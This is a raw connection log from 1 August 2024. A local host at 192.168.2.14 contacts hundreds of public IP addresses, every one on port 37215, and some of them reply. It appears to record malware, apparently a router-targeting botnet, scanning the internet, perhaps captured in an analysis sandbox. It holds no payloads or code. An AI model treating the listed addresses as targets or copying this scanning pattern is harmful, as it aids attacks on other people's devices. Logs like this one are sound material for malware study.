Aug 1, 2024 15:35:00.283849001 CEST	58140	37215	192.168.2.14	197.105.131.94
Aug 1, 2024 15:35:00.283878088 CEST	46312	37215	192.168.2.14	57.81.164.95
Aug 1, 2024 15:35:00.283911943 CEST	38070	37215	192.168.2.14	44.219.0.116
Aug 1, 2024 15:35:00.283937931 CEST	47098	37215	192.168.2.14	157.78.224.146
Aug 1, 2024 15:35:00.283968925 CEST	38238	37215	192.168.2.14	157.176.18.12
Aug 1, 2024 15:35:00.283997059 CEST	34282	37215	192.168.2.14	157.202.198.155
Aug 1, 2024 15:35:00.284027100 CEST	48004	37215	192.168.2.14	197.150.163.156
Aug 1, 2024 15:35:00.284060001 CEST	57066	37215	192.168.2.14	197.50.190.2
Aug 1, 2024 15:35:00.284086943 CEST	54680	37215	192.168.2.14	9.190.232.44
Aug 1, 2024 15:35:00.284112930 CEST	42758	37215	192.168.2.14	197.78.203.22
Aug 1, 2024 15:35:00.284146070 CEST	59212	37215	192.168.2.14	41.47.38.45
Aug 1, 2024 15:35:00.284179926 CEST	46960	37215	192.168.2.14	41.19.193.117
Aug 1, 2024 15:35:00.284209013 CEST	56584	37215	192.168.2.14	197.232.173.134
Aug 1, 2024 15:35:00.284234047 CEST	40768	37215	192.168.2.14	41.154.100.136
Aug 1, 2024 15:35:00.284270048 CEST	49258	37215	192.168.2.14	207.169.8.62
Aug 1, 2024 15:35:00.284296989 CEST	60676	37215	192.168.2.14	157.26.227.71
Aug 1, 2024 15:35:00.284322977 CEST	45806	37215	192.168.2.14	157.141.178.189
Aug 1, 2024 15:35:00.284357071 CEST	37984	37215	192.168.2.14	41.175.200.51
Aug 1, 2024 15:35:00.284388065 CEST	41082	37215	192.168.2.14	197.207.234.50
Aug 1, 2024 15:35:00.284420013 CEST	51034	37215	192.168.2.14	157.80.75.49
Aug 1, 2024 15:35:00.284455061 CEST	50214	37215	192.168.2.14	111.109.25.218
Aug 1, 2024 15:35:00.284490108 CEST	57064	37215	192.168.2.14	41.181.222.122
Aug 1, 2024 15:35:00.284513950 CEST	59686	37215	192.168.2.14	197.142.142.176
Aug 1, 2024 15:35:00.284542084 CEST	48010	37215	192.168.2.14	97.225.37.49
Aug 1, 2024 15:35:00.284583092 CEST	58256	37215	192.168.2.14	197.202.23.183
Aug 1, 2024 15:35:00.284605980 CEST	44700	37215	192.168.2.14	41.108.171.23
Aug 1, 2024 15:35:00.284635067 CEST	47408	37215	192.168.2.14	197.206.69.135
Aug 1, 2024 15:35:00.284663916 CEST	53234	37215	192.168.2.14	41.92.243.160
Aug 1, 2024 15:35:00.284696102 CEST	37190	37215	192.168.2.14	157.4.161.135
Aug 1, 2024 15:35:00.284728050 CEST	51006	37215	192.168.2.14	41.141.59.33
Aug 1, 2024 15:35:00.284761906 CEST	46078	37215	192.168.2.14	197.189.16.221
Aug 1, 2024 15:35:00.284787893 CEST	48854	37215	192.168.2.14	157.111.195.69
Aug 1, 2024 15:35:00.284818888 CEST	48870	37215	192.168.2.14	157.12.7.143
Aug 1, 2024 15:35:00.284849882 CEST	33676	37215	192.168.2.14	41.235.2.64
Aug 1, 2024 15:35:00.284883976 CEST	48510	37215	192.168.2.14	107.219.166.209
Aug 1, 2024 15:35:00.284909964 CEST	34878	37215	192.168.2.14	197.113.68.40
Aug 1, 2024 15:35:00.284943104 CEST	59418	37215	192.168.2.14	90.60.116.72
Aug 1, 2024 15:35:00.284967899 CEST	37215	42660	73.38.23.67	192.168.2.14
Aug 1, 2024 15:35:00.284970999 CEST	59080	37215	192.168.2.14	197.104.209.122
Aug 1, 2024 15:35:00.285006046 CEST	38258	37215	192.168.2.14	41.20.51.254
Aug 1, 2024 15:35:00.285013914 CEST	42660	37215	192.168.2.14	73.38.23.67
Aug 1, 2024 15:35:00.285047054 CEST	40058	37215	192.168.2.14	41.164.149.143
Aug 1, 2024 15:35:00.285070896 CEST	38882	37215	192.168.2.14	157.37.144.15
Aug 1, 2024 15:35:00.285083055 CEST	37215	51110	157.242.52.91	192.168.2.14
Aug 1, 2024 15:35:00.285104990 CEST	57486	37215	192.168.2.14	191.11.246.174
Aug 1, 2024 15:35:00.285120964 CEST	51110	37215	192.168.2.14	157.242.52.91
Aug 1, 2024 15:35:00.285147905 CEST	50658	37215	192.168.2.14	41.88.37.150
Aug 1, 2024 15:35:00.285181046 CEST	46654	37215	192.168.2.14	119.19.55.36
Aug 1, 2024 15:35:00.285208941 CEST	57020	37215	192.168.2.14	197.171.207.212
Aug 1, 2024 15:35:00.285240889 CEST	34356	37215	192.168.2.14	20.52.179.216
Aug 1, 2024 15:35:00.285270929 CEST	46518	37215	192.168.2.14	41.24.101.6
Aug 1, 2024 15:35:00.285300970 CEST	50164	37215	192.168.2.14	41.100.224.123
Aug 1, 2024 15:35:00.285327911 CEST	60398	37215	192.168.2.14	41.164.193.236
Aug 1, 2024 15:35:00.285356045 CEST	39886	37215	192.168.2.14	31.68.35.109
Aug 1, 2024 15:35:00.285387039 CEST	54792	37215	192.168.2.14	157.124.63.138
Aug 1, 2024 15:35:00.285417080 CEST	33120	37215	192.168.2.14	157.154.49.44
Aug 1, 2024 15:35:00.285444975 CEST	43508	37215	192.168.2.14	84.232.124.112
Aug 1, 2024 15:35:00.285475016 CEST	57498	37215	192.168.2.14	135.28.2.66
Aug 1, 2024 15:35:00.285500050 CEST	39342	37215	192.168.2.14	197.102.197.145
Aug 1, 2024 15:35:00.285530090 CEST	49340	37215	192.168.2.14	157.213.113.199
Aug 1, 2024 15:35:00.285566092 CEST	36370	37215	192.168.2.14	157.108.237.235
Aug 1, 2024 15:35:00.285593987 CEST	35198	37215	192.168.2.14	157.182.24.105
Aug 1, 2024 15:35:00.285607100 CEST	37215	56794	157.23.170.138	192.168.2.14
Aug 1, 2024 15:35:00.285635948 CEST	43190	37215	192.168.2.14	38.125.81.98
Aug 1, 2024 15:35:00.285649061 CEST	56794	37215	192.168.2.14	157.23.170.138
Aug 1, 2024 15:35:00.285676956 CEST	33550	37215	192.168.2.14	197.159.39.86
Aug 1, 2024 15:35:00.285710096 CEST	47586	37215	192.168.2.14	41.98.161.227
Aug 1, 2024 15:35:00.285737038 CEST	54352	37215	192.168.2.14	41.193.83.65
Aug 1, 2024 15:35:00.285765886 CEST	41494	37215	192.168.2.14	157.196.26.75
Aug 1, 2024 15:35:00.285797119 CEST	34028	37215	192.168.2.14	125.161.255.108
Aug 1, 2024 15:35:00.285825968 CEST	57654	37215	192.168.2.14	157.240.220.84
Aug 1, 2024 15:35:00.285855055 CEST	35708	37215	192.168.2.14	41.217.127.50
Aug 1, 2024 15:35:00.285885096 CEST	42080	37215	192.168.2.14	126.193.242.217
Aug 1, 2024 15:35:00.285923004 CEST	56196	37215	192.168.2.14	197.206.36.187
Aug 1, 2024 15:35:00.285945892 CEST	42584	37215	192.168.2.14	157.36.246.84
Aug 1, 2024 15:35:00.285979033 CEST	35078	37215	192.168.2.14	157.253.180.1
Aug 1, 2024 15:35:00.286010981 CEST	39718	37215	192.168.2.14	197.68.48.181
Aug 1, 2024 15:35:00.286043882 CEST	49172	37215	192.168.2.14	157.33.103.177
Aug 1, 2024 15:35:00.286067963 CEST	40632	37215	192.168.2.14	80.139.130.56
Aug 1, 2024 15:35:00.286099911 CEST	34440	37215	192.168.2.14	41.168.112.235
Aug 1, 2024 15:35:00.286129951 CEST	37024	37215	192.168.2.14	41.238.48.28
Aug 1, 2024 15:35:00.286161900 CEST	33580	37215	192.168.2.14	157.164.69.172
Aug 1, 2024 15:35:00.286190033 CEST	53804	37215	192.168.2.14	180.63.19.68
Aug 1, 2024 15:35:00.286216974 CEST	53958	37215	192.168.2.14	41.62.154.132
Aug 1, 2024 15:35:00.286257982 CEST	44184	37215	192.168.2.14	157.114.215.88
Aug 1, 2024 15:35:00.286287069 CEST	39736	37215	192.168.2.14	24.19.94.141
Aug 1, 2024 15:35:00.286317110 CEST	36768	37215	192.168.2.14	197.80.49.11
Aug 1, 2024 15:35:00.286351919 CEST	49650	37215	192.168.2.14	197.238.76.171
Aug 1, 2024 15:35:00.286379099 CEST	57312	37215	192.168.2.14	157.96.41.58
Aug 1, 2024 15:35:00.286407948 CEST	44918	37215	192.168.2.14	157.224.253.79
Aug 1, 2024 15:35:00.286432981 CEST	50318	37215	192.168.2.14	157.234.135.198
Aug 1, 2024 15:35:00.286465883 CEST	40136	37215	192.168.2.14	157.137.112.29
Aug 1, 2024 15:35:00.286490917 CEST	53172	37215	192.168.2.14	41.241.175.134
Aug 1, 2024 15:35:00.286524057 CEST	57362	37215	192.168.2.14	41.151.44.236
Aug 1, 2024 15:35:00.286559105 CEST	52170	37215	192.168.2.14	41.170.129.204
Aug 1, 2024 15:35:00.286583900 CEST	34534	37215	192.168.2.14	12.200.124.37
Aug 1, 2024 15:35:00.286607027 CEST	42790	37215	192.168.2.14	157.4.86.223
Aug 1, 2024 15:35:00.286639929 CEST	37215	47622	41.89.107.167	192.168.2.14
Aug 1, 2024 15:35:00.286642075 CEST	39564	37215	192.168.2.14	197.146.97.77
Aug 1, 2024 15:35:00.286679983 CEST	47622	37215	192.168.2.14	41.89.107.167
Aug 1, 2024 15:35:00.286690950 CEST	48662	37215	192.168.2.14	27.13.167.201
Aug 1, 2024 15:35:00.286720991 CEST	55352	37215	192.168.2.14	157.162.42.208
Aug 1, 2024 15:35:00.286745071 CEST	33682	37215	192.168.2.14	188.108.83.39
Aug 1, 2024 15:35:00.286777973 CEST	33556	37215	192.168.2.14	157.201.154.148
Aug 1, 2024 15:35:00.286803961 CEST	47894	37215	192.168.2.14	197.60.134.183
Aug 1, 2024 15:35:00.286827087 CEST	42882	37215	192.168.2.14	157.254.90.108
Aug 1, 2024 15:35:00.286864996 CEST	36140	37215	192.168.2.14	157.147.180.179
Aug 1, 2024 15:35:00.286890984 CEST	39948	37215	192.168.2.14	23.22.18.80
Aug 1, 2024 15:35:00.286906004 CEST	55318	37215	192.168.2.14	41.159.222.178
Aug 1, 2024 15:35:00.286921024 CEST	53904	37215	192.168.2.14	197.116.156.209
Aug 1, 2024 15:35:00.286930084 CEST	39690	37215	192.168.2.14	197.82.105.13
Aug 1, 2024 15:35:00.286931038 CEST	37215	60206	41.56.153.170	192.168.2.14
Aug 1, 2024 15:35:00.286942959 CEST	43764	37215	192.168.2.14	157.52.2.31
Aug 1, 2024 15:35:00.286967039 CEST	60206	37215	192.168.2.14	41.56.153.170
Aug 1, 2024 15:35:00.286981106 CEST	39344	37215	192.168.2.14	157.14.74.18
Aug 1, 2024 15:35:00.286997080 CEST	46784	37215	192.168.2.14	197.82.241.173
Aug 1, 2024 15:35:00.286999941 CEST	37854	37215	192.168.2.14	197.224.170.133
Aug 1, 2024 15:35:00.287015915 CEST	54662	37215	192.168.2.14	48.237.246.202
Aug 1, 2024 15:35:00.287029028 CEST	36358	37215	192.168.2.14	169.90.93.182
Aug 1, 2024 15:35:00.287045002 CEST	37040	37215	192.168.2.14	157.115.158.85
Aug 1, 2024 15:35:00.287051916 CEST	42748	37215	192.168.2.14	157.194.230.216
Aug 1, 2024 15:35:00.287065029 CEST	60678	37215	192.168.2.14	157.34.139.219
Aug 1, 2024 15:35:00.287082911 CEST	41796	37215	192.168.2.14	32.15.100.40
Aug 1, 2024 15:35:00.287087917 CEST	58852	37215	192.168.2.14	97.250.45.42
Aug 1, 2024 15:35:00.287108898 CEST	48382	37215	192.168.2.14	197.149.19.54
Aug 1, 2024 15:35:00.287116051 CEST	55048	37215	192.168.2.14	41.179.175.67
Aug 1, 2024 15:35:00.287133932 CEST	55130	37215	192.168.2.14	41.228.155.1
Aug 1, 2024 15:35:00.287142992 CEST	57064	37215	192.168.2.14	41.120.210.166
Aug 1, 2024 15:35:00.287152052 CEST	54100	37215	192.168.2.14	69.134.32.164
Aug 1, 2024 15:35:00.287166119 CEST	60006	37215	192.168.2.14	157.154.25.224
Aug 1, 2024 15:35:00.287177086 CEST	56740	37215	192.168.2.14	41.59.251.151
Aug 1, 2024 15:35:00.287194014 CEST	46312	37215	192.168.2.14	57.81.164.95
Aug 1, 2024 15:35:00.287211895 CEST	38070	37215	192.168.2.14	44.219.0.116
Aug 1, 2024 15:35:00.287220955 CEST	47098	37215	192.168.2.14	157.78.224.146
Aug 1, 2024 15:35:00.287235975 CEST	38238	37215	192.168.2.14	157.176.18.12
Aug 1, 2024 15:35:00.287245989 CEST	34282	37215	192.168.2.14	157.202.198.155
Aug 1, 2024 15:35:00.287261963 CEST	48004	37215	192.168.2.14	197.150.163.156
Aug 1, 2024 15:35:00.287273884 CEST	57066	37215	192.168.2.14	197.50.190.2
Aug 1, 2024 15:35:00.287288904 CEST	54680	37215	192.168.2.14	9.190.232.44
Aug 1, 2024 15:35:00.287300110 CEST	42758	37215	192.168.2.14	197.78.203.22
Aug 1, 2024 15:35:00.287314892 CEST	59212	37215	192.168.2.14	41.47.38.45
Aug 1, 2024 15:35:00.287333012 CEST	46960	37215	192.168.2.14	41.19.193.117
Aug 1, 2024 15:35:00.287344933 CEST	56584	37215	192.168.2.14	197.232.173.134
Aug 1, 2024 15:35:00.287359953 CEST	40768	37215	192.168.2.14	41.154.100.136
Aug 1, 2024 15:35:00.287377119 CEST	49258	37215	192.168.2.14	207.169.8.62
Aug 1, 2024 15:35:00.287384033 CEST	60676	37215	192.168.2.14	157.26.227.71
Aug 1, 2024 15:35:00.287393093 CEST	45806	37215	192.168.2.14	157.141.178.189
Aug 1, 2024 15:35:00.287410975 CEST	37984	37215	192.168.2.14	41.175.200.51
Aug 1, 2024 15:35:00.287427902 CEST	41082	37215	192.168.2.14	197.207.234.50
Aug 1, 2024 15:35:00.287440062 CEST	51034	37215	192.168.2.14	157.80.75.49
Aug 1, 2024 15:35:00.287455082 CEST	50214	37215	192.168.2.14	111.109.25.218
Aug 1, 2024 15:35:00.287467003 CEST	57064	37215	192.168.2.14	41.181.222.122
Aug 1, 2024 15:35:00.287482977 CEST	59686	37215	192.168.2.14	197.142.142.176
Aug 1, 2024 15:35:00.287484884 CEST	37215	40906	41.150.42.173	192.168.2.14
Aug 1, 2024 15:35:00.287499905 CEST	48010	37215	192.168.2.14	97.225.37.49
Aug 1, 2024 15:35:00.287518978 CEST	58256	37215	192.168.2.14	197.202.23.183
Aug 1, 2024 15:35:00.287528992 CEST	40906	37215	192.168.2.14	41.150.42.173
Aug 1, 2024 15:35:00.287545919 CEST	44700	37215	192.168.2.14	41.108.171.23
Aug 1, 2024 15:35:00.287554979 CEST	47408	37215	192.168.2.14	197.206.69.135
Aug 1, 2024 15:35:00.287570000 CEST	53234	37215	192.168.2.14	41.92.243.160
Aug 1, 2024 15:35:00.287591934 CEST	37190	37215	192.168.2.14	157.4.161.135
Aug 1, 2024 15:35:00.287602901 CEST	51006	37215	192.168.2.14	41.141.59.33
Aug 1, 2024 15:35:00.287617922 CEST	46078	37215	192.168.2.14	197.189.16.221
Aug 1, 2024 15:35:00.287631989 CEST	48854	37215	192.168.2.14	157.111.195.69
Aug 1, 2024 15:35:00.287652016 CEST	48870	37215	192.168.2.14	157.12.7.143
Aug 1, 2024 15:35:00.287659883 CEST	33676	37215	192.168.2.14	41.235.2.64
Aug 1, 2024 15:35:00.287674904 CEST	48510	37215	192.168.2.14	107.219.166.209
Aug 1, 2024 15:35:00.287692070 CEST	34878	37215	192.168.2.14	197.113.68.40
Aug 1, 2024 15:35:00.287703991 CEST	59418	37215	192.168.2.14	90.60.116.72
Aug 1, 2024 15:35:00.287714958 CEST	59080	37215	192.168.2.14	197.104.209.122
Aug 1, 2024 15:35:00.287729979 CEST	38258	37215	192.168.2.14	41.20.51.254
Aug 1, 2024 15:35:00.287750006 CEST	40058	37215	192.168.2.14	41.164.149.143
Aug 1, 2024 15:35:00.287759066 CEST	38882	37215	192.168.2.14	157.37.144.15
Aug 1, 2024 15:35:00.287775993 CEST	57486	37215	192.168.2.14	191.11.246.174
Aug 1, 2024 15:35:00.287781954 CEST	50658	37215	192.168.2.14	41.88.37.150
Aug 1, 2024 15:35:00.287801981 CEST	46654	37215	192.168.2.14	119.19.55.36
Aug 1, 2024 15:35:00.287813902 CEST	57020	37215	192.168.2.14	197.171.207.212
Aug 1, 2024 15:35:00.287827015 CEST	34356	37215	192.168.2.14	20.52.179.216
Aug 1, 2024 15:35:00.287837982 CEST	46518	37215	192.168.2.14	41.24.101.6
Aug 1, 2024 15:35:00.287847996 CEST	50164	37215	192.168.2.14	41.100.224.123
Aug 1, 2024 15:35:00.287859917 CEST	60398	37215	192.168.2.14	41.164.193.236
Aug 1, 2024 15:35:00.287868977 CEST	39886	37215	192.168.2.14	31.68.35.109
Aug 1, 2024 15:35:00.287883997 CEST	54792	37215	192.168.2.14	157.124.63.138
Aug 1, 2024 15:35:00.287894964 CEST	33120	37215	192.168.2.14	157.154.49.44
Aug 1, 2024 15:35:00.287906885 CEST	43508	37215	192.168.2.14	84.232.124.112
Aug 1, 2024 15:35:00.287919998 CEST	57498	37215	192.168.2.14	135.28.2.66
Aug 1, 2024 15:35:00.287929058 CEST	39342	37215	192.168.2.14	197.102.197.145
Aug 1, 2024 15:35:00.287940025 CEST	49340	37215	192.168.2.14	157.213.113.199
Aug 1, 2024 15:35:00.287949085 CEST	36370	37215	192.168.2.14	157.108.237.235
Aug 1, 2024 15:35:00.287966013 CEST	35198	37215	192.168.2.14	157.182.24.105
Aug 1, 2024 15:35:00.287981033 CEST	43190	37215	192.168.2.14	38.125.81.98
Aug 1, 2024 15:35:00.287986994 CEST	33550	37215	192.168.2.14	197.159.39.86
Aug 1, 2024 15:35:00.288000107 CEST	37215	36140	157.147.180.179	192.168.2.14
Aug 1, 2024 15:35:00.288014889 CEST	47586	37215	192.168.2.14	41.98.161.227
Aug 1, 2024 15:35:00.288021088 CEST	54352	37215	192.168.2.14	41.193.83.65
Aug 1, 2024 15:35:00.288047075 CEST	41494	37215	192.168.2.14	157.196.26.75
Aug 1, 2024 15:35:00.288057089 CEST	34028	37215	192.168.2.14	125.161.255.108
Aug 1, 2024 15:35:00.288072109 CEST	57654	37215	192.168.2.14	157.240.220.84
Aug 1, 2024 15:35:00.288085938 CEST	35708	37215	192.168.2.14	41.217.127.50
Aug 1, 2024 15:35:00.288103104 CEST	42080	37215	192.168.2.14	126.193.242.217
Aug 1, 2024 15:35:00.288119078 CEST	56196	37215	192.168.2.14	197.206.36.187
Aug 1, 2024 15:35:00.288130999 CEST	42584	37215	192.168.2.14	157.36.246.84
Aug 1, 2024 15:35:00.288150072 CEST	35078	37215	192.168.2.14	157.253.180.1
Aug 1, 2024 15:35:00.288158894 CEST	37215	39948	23.22.18.80	192.168.2.14
Aug 1, 2024 15:35:00.288161993 CEST	39718	37215	192.168.2.14	197.68.48.181
Aug 1, 2024 15:35:00.288170099 CEST	37215	55318	41.159.222.178	192.168.2.14
Aug 1, 2024 15:35:00.288172960 CEST	49172	37215	192.168.2.14	157.33.103.177
Aug 1, 2024 15:35:00.288192034 CEST	40632	37215	192.168.2.14	80.139.130.56
Aug 1, 2024 15:35:00.288203001 CEST	37215	53904	197.116.156.209	192.168.2.14
Aug 1, 2024 15:35:00.288207054 CEST	34440	37215	192.168.2.14	41.168.112.235
Aug 1, 2024 15:35:00.288213015 CEST	37215	39690	197.82.105.13	192.168.2.14
Aug 1, 2024 15:35:00.288218975 CEST	37024	37215	192.168.2.14	41.238.48.28
Aug 1, 2024 15:35:00.288233995 CEST	33580	37215	192.168.2.14	157.164.69.172
Aug 1, 2024 15:35:00.288239956 CEST	53804	37215	192.168.2.14	180.63.19.68
Aug 1, 2024 15:35:00.288258076 CEST	53958	37215	192.168.2.14	41.62.154.132
Aug 1, 2024 15:35:00.288259983 CEST	37215	43764	157.52.2.31	192.168.2.14
Aug 1, 2024 15:35:00.288273096 CEST	44184	37215	192.168.2.14	157.114.215.88
Aug 1, 2024 15:35:00.288289070 CEST	39736	37215	192.168.2.14	24.19.94.141
Aug 1, 2024 15:35:00.288305998 CEST	36768	37215	192.168.2.14	197.80.49.11
Aug 1, 2024 15:35:00.288315058 CEST	49650	37215	192.168.2.14	197.238.76.171
Aug 1, 2024 15:35:00.288335085 CEST	57312	37215	192.168.2.14	157.96.41.58
Aug 1, 2024 15:35:00.288342953 CEST	44918	37215	192.168.2.14	157.224.253.79
Aug 1, 2024 15:35:00.288355112 CEST	50318	37215	192.168.2.14	157.234.135.198
Aug 1, 2024 15:35:00.288364887 CEST	37215	39344	157.14.74.18	192.168.2.14
Aug 1, 2024 15:35:00.288369894 CEST	40136	37215	192.168.2.14	157.137.112.29
Aug 1, 2024 15:35:00.288376093 CEST	37215	46784	197.82.241.173	192.168.2.14
Aug 1, 2024 15:35:00.288386106 CEST	37215	37854	197.224.170.133	192.168.2.14
Aug 1, 2024 15:35:00.288388014 CEST	53172	37215	192.168.2.14	41.241.175.134
Aug 1, 2024 15:35:00.288412094 CEST	57362	37215	192.168.2.14	41.151.44.236
Aug 1, 2024 15:35:00.288415909 CEST	37215	54662	48.237.246.202	192.168.2.14
Aug 1, 2024 15:35:00.288431883 CEST	52170	37215	192.168.2.14	41.170.129.204
Aug 1, 2024 15:35:00.288444042 CEST	34534	37215	192.168.2.14	12.200.124.37
Aug 1, 2024 15:35:00.288455009 CEST	42790	37215	192.168.2.14	157.4.86.223
Aug 1, 2024 15:35:00.288475037 CEST	39564	37215	192.168.2.14	197.146.97.77
Aug 1, 2024 15:35:00.288506985 CEST	55352	37215	192.168.2.14	157.162.42.208
Aug 1, 2024 15:35:00.288507938 CEST	48662	37215	192.168.2.14	27.13.167.201
Aug 1, 2024 15:35:00.288507938 CEST	33682	37215	192.168.2.14	188.108.83.39
Aug 1, 2024 15:35:00.288512945 CEST	37215	36358	169.90.93.182	192.168.2.14
Aug 1, 2024 15:35:00.288521051 CEST	33556	37215	192.168.2.14	157.201.154.148
Aug 1, 2024 15:35:00.288522959 CEST	37215	37040	157.115.158.85	192.168.2.14
Aug 1, 2024 15:35:00.288531065 CEST	47894	37215	192.168.2.14	197.60.134.183
Aug 1, 2024 15:35:00.288553953 CEST	42882	37215	192.168.2.14	157.254.90.108
Aug 1, 2024 15:35:00.288572073 CEST	37215	42748	157.194.230.216	192.168.2.14
Aug 1, 2024 15:35:00.288583040 CEST	37215	60678	157.34.139.219	192.168.2.14
Aug 1, 2024 15:35:00.288626909 CEST	37215	41796	32.15.100.40	192.168.2.14
Aug 1, 2024 15:35:00.288677931 CEST	37215	58852	97.250.45.42	192.168.2.14
Aug 1, 2024 15:35:00.288688898 CEST	37215	48382	197.149.19.54	192.168.2.14
Aug 1, 2024 15:35:00.288777113 CEST	37215	55048	41.179.175.67	192.168.2.14
Aug 1, 2024 15:35:00.288785934 CEST	37215	55130	41.228.155.1	192.168.2.14
Aug 1, 2024 15:35:00.288794994 CEST	37215	57064	41.120.210.166	192.168.2.14
Aug 1, 2024 15:35:00.288846970 CEST	37215	54100	69.134.32.164	192.168.2.14
Aug 1, 2024 15:35:00.288856030 CEST	37215	60006	157.154.25.224	192.168.2.14
Aug 1, 2024 15:35:00.288912058 CEST	38676	37215	192.168.2.14	41.235.197.244
Aug 1, 2024 15:35:00.288919926 CEST	37215	56740	41.59.251.151	192.168.2.14
Aug 1, 2024 15:35:00.288947105 CEST	37215	46312	57.81.164.95	192.168.2.14
Aug 1, 2024 15:35:00.288990021 CEST	37215	38070	44.219.0.116	192.168.2.14
Aug 1, 2024 15:35:00.288999081 CEST	37215	47098	157.78.224.146	192.168.2.14
Aug 1, 2024 15:35:00.289057016 CEST	37215	38238	157.176.18.12	192.168.2.14
Aug 1, 2024 15:35:00.289099932 CEST	37215	34282	157.202.198.155	192.168.2.14
Aug 1, 2024 15:35:00.289154053 CEST	37215	48004	197.150.163.156	192.168.2.14
Aug 1, 2024 15:35:00.289165974 CEST	37215	57066	197.50.190.2	192.168.2.14
Aug 1, 2024 15:35:00.289187908 CEST	37215	54680	9.190.232.44	192.168.2.14
Aug 1, 2024 15:35:00.289272070 CEST	37215	42758	197.78.203.22	192.168.2.14
Aug 1, 2024 15:35:00.289282084 CEST	37215	59212	41.47.38.45	192.168.2.14
Aug 1, 2024 15:35:00.289290905 CEST	37215	46960	41.19.193.117	192.168.2.14
Aug 1, 2024 15:35:00.289316893 CEST	37215	56584	197.232.173.134	192.168.2.14
Aug 1, 2024 15:35:00.289325953 CEST	37215	40768	41.154.100.136	192.168.2.14
Aug 1, 2024 15:35:00.289397001 CEST	37215	49258	207.169.8.62	192.168.2.14
Aug 1, 2024 15:35:00.289428949 CEST	37215	60676	157.26.227.71	192.168.2.14
Aug 1, 2024 15:35:00.289474010 CEST	52134	37215	192.168.2.14	197.63.190.45
Aug 1, 2024 15:35:00.289486885 CEST	37215	45806	157.141.178.189	192.168.2.14
Aug 1, 2024 15:35:00.289525032 CEST	37215	37984	41.175.200.51	192.168.2.14
Aug 1, 2024 15:35:00.289619923 CEST	37215	41082	197.207.234.50	192.168.2.14
Aug 1, 2024 15:35:00.289629936 CEST	37215	51034	157.80.75.49	192.168.2.14
Aug 1, 2024 15:35:00.289638996 CEST	37215	50214	111.109.25.218	192.168.2.14
Aug 1, 2024 15:35:00.289648056 CEST	37215	57064	41.181.222.122	192.168.2.14
Aug 1, 2024 15:35:00.289674997 CEST	37215	59686	197.142.142.176	192.168.2.14
Aug 1, 2024 15:35:00.289756060 CEST	37215	48010	97.225.37.49	192.168.2.14
Aug 1, 2024 15:35:00.289764881 CEST	37215	58256	197.202.23.183	192.168.2.14
Aug 1, 2024 15:35:00.289773941 CEST	37215	44700	41.108.171.23	192.168.2.14
Aug 1, 2024 15:35:00.289841890 CEST	37215	47408	197.206.69.135	192.168.2.14
Aug 1, 2024 15:35:00.289927006 CEST	37215	53234	41.92.243.160	192.168.2.14
Aug 1, 2024 15:35:00.289936066 CEST	37215	37190	157.4.161.135	192.168.2.14
Aug 1, 2024 15:35:00.289944887 CEST	37215	51006	41.141.59.33	192.168.2.14
Aug 1, 2024 15:35:00.289983034 CEST	37215	46078	197.189.16.221	192.168.2.14
Aug 1, 2024 15:35:00.289993048 CEST	37215	48854	157.111.195.69	192.168.2.14
Aug 1, 2024 15:35:00.290031910 CEST	40128	37215	192.168.2.14	157.78.220.41
Aug 1, 2024 15:35:00.290105104 CEST	37215	48870	157.12.7.143	192.168.2.14
Aug 1, 2024 15:35:00.290113926 CEST	37215	33676	41.235.2.64	192.168.2.14
Aug 1, 2024 15:35:00.290174961 CEST	37215	48510	107.219.166.209	192.168.2.14
Aug 1, 2024 15:35:00.290184021 CEST	37215	34878	197.113.68.40	192.168.2.14
Aug 1, 2024 15:35:00.290234089 CEST	37215	59418	90.60.116.72	192.168.2.14
Aug 1, 2024 15:35:00.290298939 CEST	37215	59080	197.104.209.122	192.168.2.14
Aug 1, 2024 15:35:00.290350914 CEST	37215	38258	41.20.51.254	192.168.2.14
Aug 1, 2024 15:35:00.290395975 CEST	37215	40058	41.164.149.143	192.168.2.14
Aug 1, 2024 15:35:00.290405989 CEST	37215	38882	157.37.144.15	192.168.2.14
Aug 1, 2024 15:35:00.290414095 CEST	37215	57486	191.11.246.174	192.168.2.14
Aug 1, 2024 15:35:00.290478945 CEST	37215	50658	41.88.37.150	192.168.2.14
Aug 1, 2024 15:35:00.290491104 CEST	37215	46654	119.19.55.36	192.168.2.14
Aug 1, 2024 15:35:00.290540934 CEST	37215	57020	197.171.207.212	192.168.2.14
Aug 1, 2024 15:35:00.290572882 CEST	37215	34356	20.52.179.216	192.168.2.14
Aug 1, 2024 15:35:00.290611982 CEST	37215	46518	41.24.101.6	192.168.2.14
Aug 1, 2024 15:35:00.290613890 CEST	45270	37215	192.168.2.14	41.76.128.203
Aug 1, 2024 15:35:00.290621996 CEST	37215	50164	41.100.224.123	192.168.2.14
Aug 1, 2024 15:35:00.290682077 CEST	37215	60398	41.164.193.236	192.168.2.14
Aug 1, 2024 15:35:00.290700912 CEST	37215	39886	31.68.35.109	192.168.2.14
Aug 1, 2024 15:35:00.290761948 CEST	37215	54792	157.124.63.138	192.168.2.14
Aug 1, 2024 15:35:00.290772915 CEST	37215	33120	157.154.49.44	192.168.2.14
Aug 1, 2024 15:35:00.290849924 CEST	37215	43508	84.232.124.112	192.168.2.14
Aug 1, 2024 15:35:00.290858984 CEST	37215	57498	135.28.2.66	192.168.2.14
Aug 1, 2024 15:35:00.290910959 CEST	37215	39342	197.102.197.145	192.168.2.14
Aug 1, 2024 15:35:00.290923119 CEST	37215	49340	157.213.113.199	192.168.2.14
Aug 1, 2024 15:35:00.290952921 CEST	37215	36370	157.108.237.235	192.168.2.14
Aug 1, 2024 15:35:00.291014910 CEST	37215	35198	157.182.24.105	192.168.2.14
Aug 1, 2024 15:35:00.291105986 CEST	47842	37215	192.168.2.14	197.85.142.182
Aug 1, 2024 15:35:00.291171074 CEST	37215	43190	38.125.81.98	192.168.2.14
Aug 1, 2024 15:35:00.291179895 CEST	37215	33550	197.159.39.86	192.168.2.14
Aug 1, 2024 15:35:00.291227102 CEST	37215	47586	41.98.161.227	192.168.2.14
Aug 1, 2024 15:35:00.291235924 CEST	37215	54352	41.193.83.65	192.168.2.14
Aug 1, 2024 15:35:00.291251898 CEST	37215	41494	157.196.26.75	192.168.2.14
Aug 1, 2024 15:35:00.291270971 CEST	37215	34028	125.161.255.108	192.168.2.14
Aug 1, 2024 15:35:00.291353941 CEST	37215	57654	157.240.220.84	192.168.2.14
Aug 1, 2024 15:35:00.291367054 CEST	37215	35708	41.217.127.50	192.168.2.14
Aug 1, 2024 15:35:00.291378021 CEST	37215	42080	126.193.242.217	192.168.2.14
Aug 1, 2024 15:35:00.291471958 CEST	37215	56196	197.206.36.187	192.168.2.14
Aug 1, 2024 15:35:00.291481972 CEST	37215	42584	157.36.246.84	192.168.2.14
